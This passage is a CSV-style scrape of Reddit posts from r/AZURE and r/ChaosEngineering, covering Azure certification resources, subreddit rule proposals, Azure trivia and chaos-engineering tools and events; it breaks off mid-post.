into exam from Microsoft. Here is a brief of what is inside the new version now: 1. Exam Simulator with unlimited attempts and database of 1000+ questions. Great for knowledge validation before a certification exam or interview. The simulator has the same time/questions terms as the real one 2. Full video courses to prepare for each exam 3. Practice Labs to improve your skills in an Azure environment 4. Progress tracker for all activity inside app 5. Backend integration. You can provide feedback for any answer inside quizz or exam. Get latest updates of the learning content. And many more 6. The same as in previous version, learning content is strictly structurized according to exam outline guides from Microsoft 7. 50+ quizzes for each learning topic to validate your knowledge of learning material Note that I add some monetization inside app to pay for infrastructure and continue to invest my time to improve the app. However, I tried to keep most of the content and functionality as free. I believe you’ll find Learn Azure app useful *Try it on your iOS device:* [https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622](https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622) *Try it on your Android device:* [https://play.google.com/store/apps/details?id=com.learnazure.app](https://play.google.com/store/apps/details?id=com.learnazure.app) &#x200B; https://preview.redd.it/ni20lbbqhkt91.png?width=1242&format=png&auto=webp&s=d2966ac366730b9f4a6f95eb22be3d8866ed31a8 You can also get an instant answer about Azure Certification in our [Telegram community](https://learnazure.app/telegram)",licedey,129,10,1665664351,/r/AZURE/comments/y2xji1/new_major_version_of_learn_azure_has_been/,https://www.reddit.com/r/AZURE/comments/y2xji1/new_major_version_of_learn_azure_has_been/,self.AZURE,True,,,,, l5ny4h,azure,MSFT to the cloud !!!!,,prodev321,128,12,1611695913,/r/AZURE/comments/l5ny4h/msft_to_the_cloud/,https://i.redd.it/8zeh67lwtqd61.jpg,i.redd.it,False,,,,, miti34,azure,Our efforts to refresh the /r/Azure Subreddit!," Hi everyone, As a moderator team (and some of us as Microsoft employees), we’ve been talking about how we can take this community and advance it even further into the future. As part of that, we have some proposals that we’d like to get your feedback on. Before we start with the proposals - I want to make it super clear - any time a Microsoft employee speaks on this subreddit, it is on their own behalf and doesn’t mean Microsoft is involved or supports their speech. This includes me and this post right now. Additionally, I also want to call out that our intention is NOT to take over the subreddit and turn this into a highly controlled subreddit - instead, we’re wanting to improve experiences for everyone. Now for the proposals: 1. Custom user flairs for verified Microsoft MVPs, Azure Certified Individuals, and Microsoft Employees / Contractors. When it’s time, we will ask anyone who wants to be identified as Azure Certified, an Employee/Contractor, or an MVP to validate their status with us in ways we haven’t determined yet. We’re planning to do this so that there’s a level of professionalism that can be validated when someone helps you out. 2. Cleaned up flairs for submissions. We won't require submissions to have flair; however, we will have a few topics for you all to optionally indicate. Examples include Support, Discussions, Feedback, General, News, Off-Topic, and similar. 3. New community rules around the types of content that can and can’t be posted. I've posted the full proposed ruleset below. 4. New moderator applications opening soon for non-microsoft employees. We believe we should have equality in power between Microsoft and the community, and the mod team does not currently represent this. We also believe that the community should have an equal hand in determining the future of our subreddit. 5. Additional rules that will help clarify what is and isn’t acceptable here (along with the ban terms clearly defined). For example, we’re planning to make exam dumps bans 100% permanent and immediate with no chance of appeal. There will be others, but it’s not going to be anything crazy. (in other words, we’re not going to limit free speech at any capacity - we’re only targeting unethical behavior) 6. Regular AmA’s, Live Chats, and Daily Threads with Microsoft architects / developers / champions / mvps / certified people. This idea is totally in the cloud (ha) for now, but it would be great if we could have various users sign up to host live events / chats / threads / etc from time to time. 7. Potential support cases through reddit. This is another idea that’s in the cloud, but we’re trying to see if this is something that could materialize. No promises of course. 8. An actual wiki. It’s no secret that our wiki hasn’t been around since day one - we’d like to fix that too :) 9. Additional changes that all of you would like to see. If you see something, say something. As a mod team, it’s our duty to help this grow into a haven for all Azure users regardless of who or where they are. It’s a volunteer job that pays nothing, but we care enough about Azure to do this. If you have any suggestions, please write them! We want to hear them. In any case, we’re excited bring these changes and grow this community! We look forward to the future of this subreddit! The proposed rules (and the actions we'll take): - No exam dumps (permanent ban) - Don't be a jerk (ban increasing each time a moderator has to step in.). - Don't be a jerk to a moderator, we're volunteers (immediate and irreversible ban) - No NSFW Content (permanent ban) - No links to courses that require someone to pay for the material. You should use Advertising for this, not posts. - (First time: removal and site added to wildcard search on automod, Second: two week ban, Third: Permaban) - No affiliate links. This subreddit is not to profit off of other redditors. If you're receiving a kickback for posting something, this is against the rules. (First - removal and automod addition, Second: permaban) Your moderator team's commitment to you: - We will not remove any legitimate complaint, gripe, content, or feedback (except in extremely rare cases such as day 0 security exploits: you should reach out to the mod team instead) - We won't remove safe for work off-topic discussions. - We will not swarm the community and use this as a marketing grounds. - We will not drown out the current userbase and ignore your requests as we grow. - We will always be ethical redditors first. If you have any questions, feedback, comments, complaints, or anything else - please post them! We would love to see what you have to say :)",hellodeveloper,128,54,1617397145,/r/AZURE/comments/miti34/our_efforts_to_refresh_the_razure_subreddit/,https://www.reddit.com/r/AZURE/comments/miti34/our_efforts_to_refresh_the_razure_subreddit/,self.AZURE,True,,,,, lhnz1t,azure,We just announced two new regions - East US 3 in Atlanta and West US 3 in Arizona!,,hellodeveloper,127,22,1613059905,/r/AZURE/comments/lhnz1t/we_just_announced_two_new_regions_east_us_3_in/,https://azure.microsoft.com/en-us/blog/microsoft-will-establish-its-next-us-datacenter-region-in-georgia-s-fulton-and-douglas-counties/,azure.microsoft.com,False,,,,, nswd1j,azure,Azure AD vs Azure RBAC,,theuMask,126,18,1622901627,/r/AZURE/comments/nswd1j/azure_ad_vs_azure_rbac/,https://i.redd.it/of3r7wi8eg371.jpg,i.redd.it,False,,,,, qcrowg,azure,12 Hour Free DevOps Master Class | No advertising,"Now the DevOps Master Class is complete I created a quick introduction, so people know how to use the class and what to expect! &#x200B; https://youtu.be/R74bm8IGu2M &#x200B; ► DevOps Master Class GitHub Repo: 🔗 https://github.com/johnthebrit/DevOpsMC ► DevOps Master Class Playlist: 🔗 https://www.youtube.com/playlist?list=PLlVtbbG169nFr8RzQ4GIxUEznpNR53ERq &#x200B; \#github #devops #gitops",JohnSavill,125,9,1634822510,/r/AZURE/comments/qcrowg/12_hour_free_devops_master_class_no_advertising/,https://www.reddit.com/r/AZURE/comments/qcrowg/12_hour_free_devops_master_class_no_advertising/,self.AZURE,True,,,,, 1iq7jrz,azure,Azure Professionals What Do You Wish You Knew When You Started?," Hello everyone, I'm starting my journey with Azure, and I'd love to hear from experienced professionals. What are some key lessons, tips, or best practices you've learned over the years? If you could go back in time, what would you tell your beginner self to focus on? Any pitfalls to avoid or hidden gems in Azure that took you a while to discover? Thanks in advance for your insights! ",pingcasa,125,124,1739643522,/r/AZURE/comments/1iq7jrz/azure_professionals_what_do_you_wish_you_knew/,https://www.reddit.com/r/AZURE/comments/1iq7jrz/azure_professionals_what_do_you_wish_you_knew/,self.AZURE,True,,,,, bj7qwb,azure,Data Lake vs Blob Storage,,nwsm,124,5,1556654005,/r/AZURE/comments/bj7qwb/data_lake_vs_blob_storage/,https://i.imgflip.com/2zu1t3.jpg,i.imgflip.com,False,,,,, ggsmvp,azure,Passed the Azure Fundamentals (AZ-900) exam. Here are the best FREE sources to use.,"The Fundamentals learning path: [https://docs.microsoft.com/en-us/learn/certifications/azure-fundamentals](https://docs.microsoft.com/en-us/learn/certifications/azure-fundamentals) , azure docs: [https://docs.microsoft.com/en-us/azure/?product=featured](https://docs.microsoft.com/en-us/azure/?product=featured) and some youtube videos like this one :[https://www.youtube.com/watch?v=cAgN6Ac8MS4](https://www.youtube.com/watch?v=cAgN6Ac8MS4) with practice questions will definitely make sure you pass it. P.S: Passed with 880/1000 and purchased 2 Udemy courses, the exam reference guide. In hindsight, the purchased items were not necessary.",ME_Constructor,124,31,1589075859,/r/AZURE/comments/ggsmvp/passed_the_azure_fundamentals_az900_exam_here_are/,https://www.reddit.com/r/AZURE/comments/ggsmvp/passed_the_azure_fundamentals_az900_exam_here_are/,self.AZURE,True,,,,, 1977qpb,azure,Deep dive on Microsoft Entra Private Access," New video walking through the new zero trust network access solution, Microsoft Entra Private Access. Had a lot of fun preparing and creating this video. https://youtu.be/RsxxsEzQhrM 00:00 - Introduction 00:07 - Entra App Capabilities 03:59 - Traditional private access 06:38 - The Entra Secure Service Edge capability 10:05 - Global Secure Access client 13:24 - Viewing the client 16:29 - The connector 20:30 - Enabling Private Access 21:28 - Adding applications for Private Access 24:25 - NEVER overlap segments between apps 25:24 - Integrating with Conditional Access 27:29 - Demo of app access with Private Access 32:38 - Quick Access 37:44 - DNS handling 43:41 - Quick Access Private DNS 45:15 - Changes made to client by GSA 50:07 - Entra DNS service 56:43 - Summary 1:00:44 - Close",JohnSavill,123,21,1705322184,/r/AZURE/comments/1977qpb/deep_dive_on_microsoft_entra_private_access/,https://www.reddit.com/r/AZURE/comments/1977qpb/deep_dive_on_microsoft_entra_private_access/,self.AZURE,True,,,,, 14mcuoy,azure,Some interesting facts about Azure,"Some time ago, I started to collect interesting facts about Microsoft Azure. And here's what I've put together: * Microsoft Azure was founded in 2008 and it was an online cloud for storage * February 1, 2010 – Windows Azure Platform commercially available. April 2014 – Windows Azure renamed Microsoft Azure * [Dave Cutler](https://en.wikipedia.org/wiki/Dave_Cutler) is Lead Developer of Microsoft Azure. And [Mark Russinovich](https://en.wikipedia.org/wiki/Mark_Russinovich) is MS Azure CTO. Dave Cutler also known as a lead developer of Windows NT and Host OS for Xbox * The number of Azure users worldwide is approaching the 1 billion mark. * According to the Azure Active Directory, there were 722.22 million Azure users. * 85% of Fortune 500 companies use Microsoft Azure Cloud * 40% of top Microsoft Azure customers are from the United States and 7% are from the United Kingdom. * Most access to Microsoft Azure comes from the United States with about 93.53% of the users accessing the platform from a desktop every day. * Azure has 8.1 million monthly active users * Azure generated a revenue of $75.3 billion in 2022 which is 38% of whole Microsoft's revenue. It is x3 in compare to 2017. * In 2023 Azure market share is 21% in the cloud service industry * Top subscribers of Azure are Verizon, LG Electronics, Wikimedia Foundation, News Corp, Adobe, Intel. They spent from $40 to $80 millions per year on Azure services * About 500,000 companies use Microsoft Azure for their day-to-day service. * Over 60% of every country's users on Microsoft Azure prefer their desktop device rather than any mobiles. * Australian users prefer using Microsoft Azure on a mobile device at a higher percentage: almost 30% * Azure users spend on average 25 minutes and 31 seconds per visit. * 65.11% of Azure users are male and 34.89% are female. The majority of Azure users are between the ages of 25 and 34. * About 1,500 personnel from Microsoft, the parent company of Microsoft Azure, are currently assigned to support and manage the Azure Cloud infrastructure. * Azure is comprised of 200+ physical datacenters in 36 countries. These data centers are arranged into 78 regions (Microsoft Azure’s term for a set of data centers) that are deployed within a latency-defined perimeter and linked by over 175k miles of terrestrial and subsea fiber-optic networks. * The Azure cloud platform is more than 200 products and cloud services designed to help you bring new solutions to life—to solve today's challenges and create the future. &#x200B; https://preview.redd.it/2chgzf89509b1.png?width=866&format=png&auto=webp&s=c020e6a8694eb7568c5360ca0886ac12b0d62ec0 *Sources:* * Statista * Usesignhouse * Microsoft Docs * Wiki",licedey,123,38,1688064165,/r/AZURE/comments/14mcuoy/some_interesting_facts_about_azure/,https://www.reddit.com/r/AZURE/comments/14mcuoy/some_interesting_facts_about_azure/,self.AZURE,True,,,,, r6g3cv,azure,With a month left in 2021 still time to hit those goals you may have had. Some resources to help :-),"Many may have set goals for 2021 related to learning and certification. I wanted to share some resources that may help you meet those goals with a month left for the year :-) &#x200B; I have a playlist at [https://youtube.com/playlist?list=PLlVtbbG169nHz2qfLvPsAz9CnnXofhmcA](https://youtube.com/playlist?list=PLlVtbbG169nHz2qfLvPsAz9CnnXofhmcA) which has certification guidance and all the various cram videos &#x200B; AZ-900 Study Cram - [https://youtu.be/t1nB1RYihJg](https://youtu.be/t1nB1RYihJg) DP-900 Study Cram - [https://youtu.be/LirvmXjZU90](https://youtu.be/LirvmXjZU90) MS-900 Study Cram - [https://youtu.be/ZtOo7prP4\_M](https://youtu.be/ZtOo7prP4_M) AI-900 Study Cram - [https://youtu.be/E9aarWMLJw0](https://youtu.be/E9aarWMLJw0) SC-900 Study Cram - [https://youtu.be/Bz-8jM3jg-8](https://youtu.be/Bz-8jM3jg-8) PL-900 Study Cram - [https://youtu.be/lbPHM-MiEUA](https://youtu.be/lbPHM-MiEUA) &#x200B; AZ-700 (Design and Implement Networking) Study Cram - [https://youtu.be/nVZYDhB\_M64](https://youtu.be/nVZYDhB_M64) AZ-700 Study Playlist - [https://youtube.com/playlist?list=PLlVtbbG169nGeFODKRZhjqdSxFpSPXVOa](https://youtube.com/playlist?list=PLlVtbbG169nGeFODKRZhjqdSxFpSPXVOa) &#x200B; AZ-104 (Azure Administrator) Study Cram - [https://youtu.be/VOod\_VNgdJk](https://youtu.be/VOod_VNgdJk) AZ-104 Study Playlist - [https://youtube.com/playlist?list=PLlVtbbG169nGlGPWs9xaLKT1KfwqREHbs](https://youtube.com/playlist?list=PLlVtbbG169nGlGPWs9xaLKT1KfwqREHbs) &#x200B; AZ-305 (Design Azure Infrastructure) Study Cram - [https://youtu.be/vq9LuCM4YP4](https://youtu.be/vq9LuCM4YP4) AZ-305 Study Playlist - [https://youtube.com/playlist?list=PLlVtbbG169nHSnaP4ae33yQUI3zcmP5nP](https://youtube.com/playlist?list=PLlVtbbG169nHSnaP4ae33yQUI3zcmP5nP) &#x200B; For a suggested sequence and trackable guided path you can use [https://learn.onboardtoazure.com](https://learn.onboardtoazure.com). &#x200B; Outside of certification I have a lot of technology deep dives, overviews and more. Some other key content: &#x200B; 📅 Weekly Azure Update 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nEv7jSfOVmQGRp9wAoAM0Ks](https://youtube.com/playlist?list=PLlVtbbG169nEv7jSfOVmQGRp9wAoAM0Ks) &#x200B; ☁ Azure Master Class 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nGccbp8VSpAozu3w9xSQJoY](https://youtube.com/playlist?list=PLlVtbbG169nGccbp8VSpAozu3w9xSQJoY) &#x200B; ⚙ DevOps Master Class 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nFr8RzQ4GIxUEznpNR53ERq](https://youtube.com/playlist?list=PLlVtbbG169nFr8RzQ4GIxUEznpNR53ERq) &#x200B; 💻 PowerShell Master Class 🔗 [https://youtube.com/playlist?list=PLlVtbbG169nFq\_hR7FcMYg32xsSAObuq8](https://youtube.com/playlist?list=PLlVtbbG169nFq_hR7FcMYg32xsSAObuq8) &#x200B; None of the content has any adverts or upsell. It is just content to help. &#x200B; Best of luck!",JohnSavill,123,34,1638369229,/r/AZURE/comments/r6g3cv/with_a_month_left_in_2021_still_time_to_hit_those/,https://www.reddit.com/r/AZURE/comments/r6g3cv/with_a_month_left_in_2021_still_time_to_hit_those/,self.AZURE,True,,,,, g1xgvj,azure,Pentagon Watchdog Clears Microsoft’s Cloud Win Over Amazon,,Khalepos,122,29,1586974610,/r/AZURE/comments/g1xgvj/pentagon_watchdog_clears_microsofts_cloud_win/,https://www.bloomberg.com/news/articles/2020-04-15/pentagon-watchdog-clears-microsoft-s-10-billion-cloud-contract,bloomberg.com,False,,,,, r5j040,azure,Free mobile app to help you prepare for AZ-900 / AZ-104 / AZ-204 / AZ-400 exams,"Let me introduce an app which was developed to help people to learn Azure and prepare for Microsoft certification exams. It covers all topics from each of the most popular Azure exams: * **AZ-900** \- Prepare for Microsoft Azure Fundametals exam (14 tests with 269 questions and 130+ related articles) * **AZ-104** \- Prepare for Microsoft Azure exam for Administrators (17 tests with 300 questions and 250 related artciles) * **AZ-204** \- Developing Solutions for Microsoft Azure (13 tests / 130 questions / 65 articles) * **AZ-400** \- Designing and Implementing Microsoft DevOps Solutions (26 tests / 200+ questions / 100 articles) It is Abolutely free, has no ads, works offline. Topics to learn has the same structure as provided by Microsoft. Try it on iOS: [https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622](https://apps.apple.com/us/app/learn-azure-fundamentals/id1531326622) Try it on Android: [https://play.google.com/store/apps/details?id=com.learnazure.app](https://play.google.com/store/apps/details?id=com.learnazure.app) \--- Here is also [mobile app website](https://learnazure.app/) and [facebook public page](https://www.facebook.com/learnazureapp) I would be glad to hear your feedback and what can be improved in app. Thank you. [Logo](https://preview.redd.it/dvq9kwa84p281.png?width=180&format=png&auto=webp&s=e4deb0327ada909c39033df949da9ee302a80f0e) [4 Azure exams preparations in one app](https://preview.redd.it/115kjwr04p281.png?width=392&format=png&auto=webp&s=dca07646b08fbf2e631c9a0ae94f11e0582f61da)",licedey,122,29,1638262164,/r/AZURE/comments/r5j040/free_mobile_app_to_help_you_prepare_for_az900/,https://www.reddit.com/r/AZURE/comments/r5j040/free_mobile_app_to_help_you_prepare_for_az900/,self.AZURE,True,,,,, j1lm50,azure,Is anyone else seeing issues with login.microsoftonline.com?,Myself and several colleagues are getting 503 errors. We're remote so it's not related to our internet connection.,Mud5150,120,92,1601329295,/r/AZURE/comments/j1lm50/is_anyone_else_seeing_issues_with/,https://www.reddit.com/r/AZURE/comments/j1lm50/is_anyone_else_seeing_issues_with/,self.AZURE,True,,,,, y50hcl,azure,All free certification opportunities [OCTOBER 2022],"Hi guys, **For everyone who likes free stuff but doesn't have time to keep track of all the options and opportunities, here is the TLDR of everything available!** Ignite Cloud Skills Challenge has started already. You can find all the information here: [**Cloud Skills Challenge 2022 information post**](https://www.reddit.com/r/SCICertifications/comments/xqkbbn/cloud_skills_challenge_2022_free_voucher/?utm_source=share&utm_medium=web2x&context=3) Registration link: [**Registration link (microsoft.com)**](https://www.microsoft.com/en-US/cloudskillschallenge/ignite/registration/2022) Eligible exams: AZ-305, AZ-400, DP-100, MB-240, MS-700 (don't pick that one), MS-720, PL-100 and SC-200 Microsoft also gives out vouchers for most of the -900 exams all year long, just need to attend an online webinar. All info here: [**Free or discounted voucher opportunities (reddit.com)**](https://www.reddit.com/r/SCICertifications/comments/wcxdl2/free_or_discounted_voucher_opportunities) under **Virtual Training Days**. Eligible exams: AZ, AI, DP, SC, PL-900, MB-910, 920 and **MS-700** (MS-900 is foretold to come soon) For those working for big companies, there is also a chance your employer is enrolled into **Enterprise Skills Initiative** program that has basically everything you need for Microsoft certifications. You can check your eligibility at [**Microsoft Enterprise Skills Initiative**](https://esi.microsoft.com/) and you can find more info here [**Free or discounted voucher opportunities (reddit.com)**](https://www.reddit.com/r/SCICertifications/comments/wcxdl2/free_or_discounted_voucher_opportunities). For Microsoft Partners there are currently **Partner Cloud Weeks** running that have guaranteed voucher if you attend/watch all sessions. Vouchers were historically eligible for any exam that is currently out (even betas). Here is the first one coming, information about how they work can be found here: [**Information for Microsoft Partner Employees (reddit.com)**](https://www.reddit.com/r/SCICertifications/comments/ww24ib/information_for_microsoft_partner_employees) [**Partner Cloud Week registration - Modern Workplace - November 7 - 11**](https://www.reddit.com/r/SCICertifications/comments/xxvp4q/microsoft_partner_only_event_modern_workplace/?utm_source=share&utm_medium=web2x&context=3) For those who are **new** to Microsoft Cloud certifications, you can find all important information in the certification guide here: [**Microsoft Cloud Certification Guide**](https://www.reddit.com/r/SCICertifications/comments/wwryn7/everything_you_need_to_know_about_microsoft_cloud/?utm_source=share&utm_medium=web2x&context=3). For those that are interested in **free vouchers** all year long, join [r/SCICertifications](https://www.reddit.com/r/SCICertifications/) / [r/mcsa](https://www.reddit.com/r/mcsa/) / [r/O365Certification](https://www.reddit.com/r/O365Certification/) (my posts usually get blocked at [r/AzureCertification](https://www.reddit.com/r/AzureCertification/) for some reason so I can't keep that one up to date), I moderate all 3 and will post opportunities as they come (keeping track of them). You can always find the most recent one in the second pinned post. Happy certificating everyone and be sure to spread the information around!",teriaavibes,119,18,1665872846,/r/AZURE/comments/y50hcl/all_free_certification_opportunities_october_2022/,https://www.reddit.com/r/AZURE/comments/y50hcl/all_free_certification_opportunities_october_2022/,self.AZURE,True,,,,, s7r4bk,azure,"Created a new repo of all the materials for my courses and crams plus a readme with links to all playlists, crams and downloads. Hope it helps. Good luck!",,JohnSavill,119,17,1642601966,/r/AZURE/comments/s7r4bk/created_a_new_repo_of_all_the_materials_for_my/,https://github.com/johnthebrit/CertificationMaterials,github.com,False,,,,, kgtmx2,azure,Microsoft: Attend Azure Virtual Training & Take Azure Fundamentals Certification Exam Free,,nisubsole,119,23,1608469366,/r/AZURE/comments/kgtmx2/microsoft_attend_azure_virtual_training_take/,https://www.microsoft.com/en-us/trainingdays?ranMID=24542&ranEAID=lw9MynSeamY&ranSiteID=lw9MynSeamY-GjBidT9MDy3B9RLoCvHXWg&epi=lw9MynSeamY-GjBidT9MDy3B9RLoCvHXWg&irgwc=1&OCID=AID2000142_aff_7593_1243925&tduid=%28ir__kzm3iv22cgkfqzfckk0sohzlzu2xs6mc11wahpqm00%29%287593%29%281243925%29%28lw9MynSeamY-GjBidT9MDy3B9RLoCvHXWg%29%28%29&irclickid=_kzm3iv22cgkfqzfckk0sohzlzu2xs6mc11wahpqm00,microsoft.com,False,,,,, wl7exz,azure,My attempt to explain the Cloud to my daughters,,round_robin_books,118,11,1660162167,/r/AZURE/comments/wl7exz/my_attempt_to_explain_the_cloud_to_my_daughters/,https://a.walktothe.cloud/,a.walktothe.cloud,False,,,,, 10ee5xy,azure,Microsoft’s Azure OpenAI Service Gets A Boost With ChatGPT.,,liquidocelotYT,118,6,1673967204,/r/AZURE/comments/10ee5xy/microsofts_azure_openai_service_gets_a_boost_with/,https://medium.com/inkwater-atlas/microsofts-azure-openai-service-gets-a-boost-with-chatgpt-2309d05e13cb,medium.com,False,,,,, o34i70,azure,Hello! Welcome to App Service Diagnostics! My name is Genie and I'm here to help you diagnose and solve problems with your app.,,mezbot,114,0,1624063639,/r/AZURE/comments/o34i70/hello_welcome_to_app_service_diagnostics_my_name/,https://i.redd.it/cqqdn5ied4671.png,i.redd.it,False,,,,, j5n6ja,chaosengineering,Chaos Conf 2020,"Tomorrow starts a free online Chaos Engineering Conference [https://www.chaosconf.io/](https://www.chaosconf.io/) The schedule is here: [https://www.chaosconf.io/chaosconf/lineup](https://www.chaosconf.io/chaosconf/lineup) Would be nice meeting you all (online).",Solopher,17,5,1601917164,/r/ChaosEngineering/comments/j5n6ja/chaos_conf_2020/,https://www.reddit.com/r/ChaosEngineering/comments/j5n6ja/chaos_conf_2020/,self.ChaosEngineering,True,,,,, p1054t,chaosengineering,How security chaos engineering can prevent security failures from happening,,mto96,7,0,1628510811,/r/ChaosEngineering/comments/p1054t/how_security_chaos_engineering_can_prevent/,https://youtu.be/hghzWuuiv5I?list=PLEx5khR4g7PI7jKbpyrshWUa7Ca0dH6F6,youtu.be,False,,,,, j82w16,chaosengineering,How Twilio runs Gamedays: Twilio SRE's Gameday templates,,8bitbuddhist,6,1,1602263145,/r/ChaosEngineering/comments/j82w16/how_twilio_runs_gamedays_twilio_sres_gameday/,https://github.com/twilio/gameday,github.com,False,,,,, jin8p0,chaosengineering,Awesome Chaos Engineering - A curated list of awesome Chaos Engineering resources.,,binaryfor,6,1,1603746239,/r/ChaosEngineering/comments/jin8p0/awesome_chaos_engineering_a_curated_list_of/,https://github.com/dastergon/awesome-chaos-engineering,github.com,False,,,,, p5gqis,chaosengineering,Litmus 2: Chaos Engineering Meets Argo Workflows,,vfarcic,5,0,1629122739,/r/ChaosEngineering/comments/p5gqis/litmus_2_chaos_engineering_meets_argo_workflows/,https://youtu.be/B8DfYnDh2F4,youtu.be,False,,,,, opbley,chaosengineering,ChaosNative Workshop,"Hello everyone! The ChaosNative community is glad to invite you to the Cloud-Native Chaos Engineering workshop where you can network with tech geeks around the world. Get yourself exposed to the world of resiliency and reliability. You will be having interactive talks and discussions with our experts about: 1. Hands-on experience with a workshop on Cloud Native Chaos Engineering which introduces you to the basics & fundamentals of Chaos Engineering. 2. A sneak-peek at the latest evolution in the Cloud Native Chaos Engineering world with LitmusChaos 2.0. 3. A demonstration of running Chaos experiments in just a few steps! Mark your calendars for 12th August 2021, 11:30 AM EST | 5:30 PM CEST | 9 PM IST Register here: https://chaosnative.com/cnce-workshop",saritabehera,5,1,1626951836,/r/ChaosEngineering/comments/opbley/chaosnative_workshop/,https://www.reddit.com/r/ChaosEngineering/comments/opbley/chaosnative_workshop/,self.ChaosEngineering,True,,,,, mtzh4i,chaosengineering,Prerequisites for chaos engineering with Courtney Nash,,asc2450,5,0,1618835165,/r/ChaosEngineering/comments/mtzh4i/prerequisites_for_chaos_engineering_with_courtney/,https://youtu.be/nvVA_h1_cqs?list=PLEx5khR4g7PI89_ZS_wz5suqCoqFgv-gO,youtu.be,False,,,,, 1u8g0h3,chaosengineering,Built a DevOps-themed portfolio that simulates a live Production Environment (Chaos Engineering + Self-healing). Need architecture feedback!,,brmedhini,2,0,1781715807,/r/ChaosEngineering/comments/1u8g0h3/built_a_devopsthemed_portfolio_that_simulates_a/,/r/sideprojects/comments/1u7em90/built_a_devopsthemed_portfolio_that_simulates_a/,,False,1,False,,arctic-shift,1781885551 1tqow30,chaosengineering,"Pastaay - Chaos engineering tool for 8 protocols + OS resources. One YAML, one binary",,nohutkoftesi,2,0,1780023313,/r/ChaosEngineering/comments/1tqow30/pastaay_chaos_engineering_tool_for_8_protocols_os/,https://i.redd.it/m252vc6x1z3h1.gif,i.redd.it,False,1,False,,arctic-shift,1781885551 1rxrbu5,chaosengineering,Coroot extension that compute resilience posture in runtime,"I’m happy to share coroot-graft — an external extension for Coroot that brings our MB3R Lab's Bering + Sheaft toolchain into a Coroot-native workflow. The idea: use Coroot as the operational surface, translate the observed system context into MB3R toolchain input, run discovery and resilience assessment through Bering and Sheaft, and surface the results back inside Coroot. The MVP is complete and the project is already test-ready. The repo already defines the full pipeline, release packaging, compatibility baseline, dashboard integration, and webhook-driven re-runs. https://preview.redd.it/wj52wtjcoxpg1.jpg?width=1723&format=pjpg&auto=webp&s=74571182a3cf2a822ccb1c771c4e83de580906fc The goal is not to build another separate UI around resilience analysis. The goal is to make model discovery and resilience assessment usable inside the observability workflow engineers already have. Repo: [https://github.com/MB3R-Lab/coroot-graft](https://github.com/MB3R-Lab/coroot-graft) **#Coroot** **#Observability** **#SRE** **#PlatformEngineering** **#OpenSource** **#OpenTelemetry** **#ReliabilityEngineering** **#ChaosEngineering**",a-a-k_,2,0,1773896272,/r/ChaosEngineering/comments/1rxrbu5/coroot_extension_that_compute_resilience_posture/,https://www.reddit.com/r/ChaosEngineering/comments/1rxrbu5/coroot_extension_that_compute_resilience_posture/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 1rwyr48,chaosengineering,KubeInvaders Update: Now runs via Podman/Docker on your workstation,,luckysideburn2,2,0,1773824718,/r/ChaosEngineering/comments/1rwyr48/kubeinvaders_update_now_runs_via_podmandocker_on/,/r/kubernetes/comments/1rwyq44/kubeinvaders_update_now_runs_via_podmandocker_on/,,False,1,False,,arctic-shift,1781885551 1rwymrq,chaosengineering,Released new version of kubeinvaders,[removed],luckysideburn2,1,0,1773824283,/r/ChaosEngineering/comments/1rwymrq/released_new_version_of_kubeinvaders/,https://www.reddit.com/r/ChaosEngineering/comments/1rwymrq/released_new_version_of_kubeinvaders/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 1ro7wcc,chaosengineering,How do you usually choose the target service for chaos experiments?,"I’m curious about how people actually prioritize chaos experiments in practice. Most chaos engineering discussions focus on *what type of experiment to run* (latency, pod kill, network partition, etc.), but less on *where to run it*. In systems with many services, there are lots of possible targets. When your team runs chaos experiments, how do you usually choose the service to test? For example: * services that caused incidents before * critical request paths * infrastructure components * random rotation Interested to hear what approaches people actually use.",Medinz0,2,4,1772984267,/r/ChaosEngineering/comments/1ro7wcc/how_do_you_usually_choose_the_target_service_for/,https://www.reddit.com/r/ChaosEngineering/comments/1ro7wcc/how_do_you_usually_choose_the_target_service_for/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 1rl9kal,chaosengineering,"Model-based lightweight, pre-release chaos engineering tool","Hi everyone! I’d like to share an open-source project we’ve been working on called Sheaft, which aims to shift chaos engineering to the left. We all know that running live chaos experiments on every PR is often too risky, expensive, or slow. To bridge this gap, we built Sheaft — a lightweight, pre-release resilience gate (think of it as a ""resilience linter"" for your CI/CD). How it works: It automatically discovers your system's topology using your existing OpenTelemetry traces, builds a dependency graph, and runs millions of Monte Carlo fail-stop simulations in seconds to estimate end-to-end availability. If a topology change creates a hidden single point of failure, Sheaft catches it before the release. Validation: This isn't just theory. We’ve rigorously validated the core engine against DeathStarBench and the OpenTelemetry Demo, achieving a ≈0.992 correlation with actual live fault injection results (the methodology has also been accepted at ICSE '26 and AINA '26). We just pushed the basic MVP (written in Go) and are looking to grow the community! Repo: [https://github.com/MB3R-Lab/Sheaft](https://github.com/MB3R-Lab/Sheaft) We’d love your feedback and contributions! If you’re interested in model-based resilience, OTel-driven analysis, or making continuous resilience testing a standard, we’d be thrilled to hear your thoughts, see your GitHub issues, or review your PRs. Let me know if you have any questions, I'd be happy to discuss them in the thread! :rocket:",a-a-k_,3,0,1772689912,/r/ChaosEngineering/comments/1rl9kal/modelbased_lightweight_prerelease_chaos/,https://www.reddit.com/r/ChaosEngineering/comments/1rl9kal/modelbased_lightweight_prerelease_chaos/,self.ChaosEngineering,True,1,False,,arctic-shift,1781885551 1r540pm,chaosengineering,"Chaos Engineering is actually the opposite of ""chaos"""," I’ve been spending a lot of time lately looking into Chaos Engineering and resilience, and I feel like the term is actually kind of a marketing fail. It makes people think we’re just being ""cowboys"" and messing around with production servers for the hell of it. After digging into the Netflix principles, it’s actually the opposite. It’s a pretty strict science. If you’re a developer or SRE trying to explain this to your lead (or if you're just curious), here is how the logic actually flows without the fluff. 1. You have to define a ""Steady State"" first The biggest mistake is looking at CPU or RAM. Those are just symptoms. Chaos Engineering is about business metrics. If you’re running a React and Node app, your steady state isn't ""low memory usage,"" it’s ""successful API calls"" or ""successful logins."" Your goal is to prove that even if a service dies, the user never notices. 2. Stop using ""Staging"" as a safety net I know, it sounds like career suicide to say ""test in production,"" but staging is usually a ghost town. It doesn't have the same traffic spikes or data weirdness that prod has. The trick is Blast Radius control. Start with a single pod or 1% of traffic. If it breaks, it should only break for a 